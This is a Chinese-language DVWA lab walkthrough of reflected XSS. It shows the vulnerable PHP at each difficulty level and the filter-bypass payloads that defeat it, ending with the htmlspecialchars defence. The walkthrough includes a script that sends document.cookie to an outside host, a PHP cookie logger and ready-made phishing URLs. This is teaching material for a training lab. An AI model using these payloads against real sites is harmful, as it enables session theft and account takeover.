DVWA 黑客攻防演練(十)反射型 XSS 攻擊 Reflected Cross Site Scripting


XSS (Cross-site scripting) 攻擊,為和 CSS 有所區分,所以叫 XSS。又是一種防不勝防的攻擊,應該算是一種 “HTML注入攻擊”,原本開發者想的是顯示數據,然而攻擊者輸入卻是有破壞性的代碼,而且能被解析執行。Symantec在2007年報告更是指出跨站腳本漏洞大概占所有網站漏洞的84%。

XSS 大致分成三種類型(白帽子講web安全):

  • 反射型,就是本文的內容。
  • 存儲型,在這篇文章會介紹。
  • DOM 型,如果用是否會存儲在服務器上區分的話,DOM型也是反射型。但比較特殊,一般會單獨拿出來討論的,在這里會討論到

低級

功能很簡單,顯示就是輸入框輸入的東西 比如:輸入 World 就能顯示 Hello World。 此時 Hacker 嘗試輸入 <script>alert(1)</script>

這是因為,php 輸出已經變成了,'<pre>Hello <script>alert(1)</script></pre>' 然后輸出到頁面時,直接運行 <script>alert(1)</script> 這就是 XSS,原本這個地方應該是輸入數據的,但是卻變成運行代碼了。 接下來 hacker 再作嘗試,它寫了這樣一個文件 a.com/test.js

var img = document.createElement("img")
img.src = "http://www.a.com/?cookies="+escape(document.cookie);
document.body.appendChild(img);

而對應www.a.com/index.php的代碼是這樣,目的是記錄發送過來的 cookies

<?php
$c = $_GET["cookies"];
echo $c;
error_log($c ."". "\n",3,"/var/log/a/cookies");
?>

然后再在輸出框中輸入 <script src="//www.a.com/test.js"></script>
。。。
就會直接將你的 cookies 直接發送到 a.com
有了你的 cookies 就為所欲為了,改密碼什么的。 現在只需誘導用戶(發郵件之類的)點擊這樣的連接就Ok了 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<script+src%3D"%2F%2Fwww.a.com%2Ftest.js"><%2Fscript>#

比如:

中級

中級代碼意識到會有人使用 script 的注入方式,於是就想將 script 標簽去掉

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = str_replace( '<script>', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?> 

而 Hacker 輸入的是 <Script src="//www.a.com/test.js"></Script>
。。。還是被注入了。
還可以輸入 <scr<script>ipt src="//www.a.com/test.js"></script> 之類

高級

高級代碼,使用 preg_replace 函數,無論 script 大小寫如何變化也會刪除

<?php 

header ("X-XSS-Protection: 0"); 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Get input 
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

?> 

所以可以采用不使用 script 的方式。

比如利用 img 的 onerror 函數 ,意思是說,如果圖片的地址是錯誤的,就執行alert(1)
但如果直接在 onerror 函數中寫注入的代碼又很有可能被那個正則表達式替換掉的。

所以要通過其他方式繞過這個正則替換,比如利用 location.hash

這是什么東西?

url 中 # 號后面的東西,比如 https://www.zhihu.com/topic#Linux 的 location.hash 就是 #Linux ,前端框架一般會用來做單頁面路由。這個東西沒有長度限制而且不會被傳到后台的

所以,可以這樣,<img src=x onerror="eval(unescape(location.hash.substr(1)))"> 而在構造 url 就可以放心把代碼放在 #號后面了。

所以點擊下面連接就會偷掉你的cookies了(要復制黏貼)

http://192.168.0.110:5678/vulnerabilities/xss_r/?name=<img src=x onerror="eval(unescape(location.hash.substr(1)))%22%3E#var%20img%20=%20document.createElement('img');img.src='http://www.a.com/?cookies='+escape(document.cookie);document.body.appendChild(img)

不可能

不可能級別添加了 anti-token 防御機制,和htmlseecialchars函數來防御

<?php 

// Is there any input? 
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 
    // Check Anti-CSRF token 
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

    // Get input 
    $name = htmlspecialchars( $_GET[ 'name' ] ); 

    // Feedback for end user 
    echo "<pre>Hello ${name}</pre>"; 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?> 

htmlseecialchars 函數作用是什么?來探討一下

輸入上一級的注入語句

看 dom 的元素,也看不出什么

再看看請求返回的什么

看到了嗎,那個函數將 < " 等符號轉義了


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM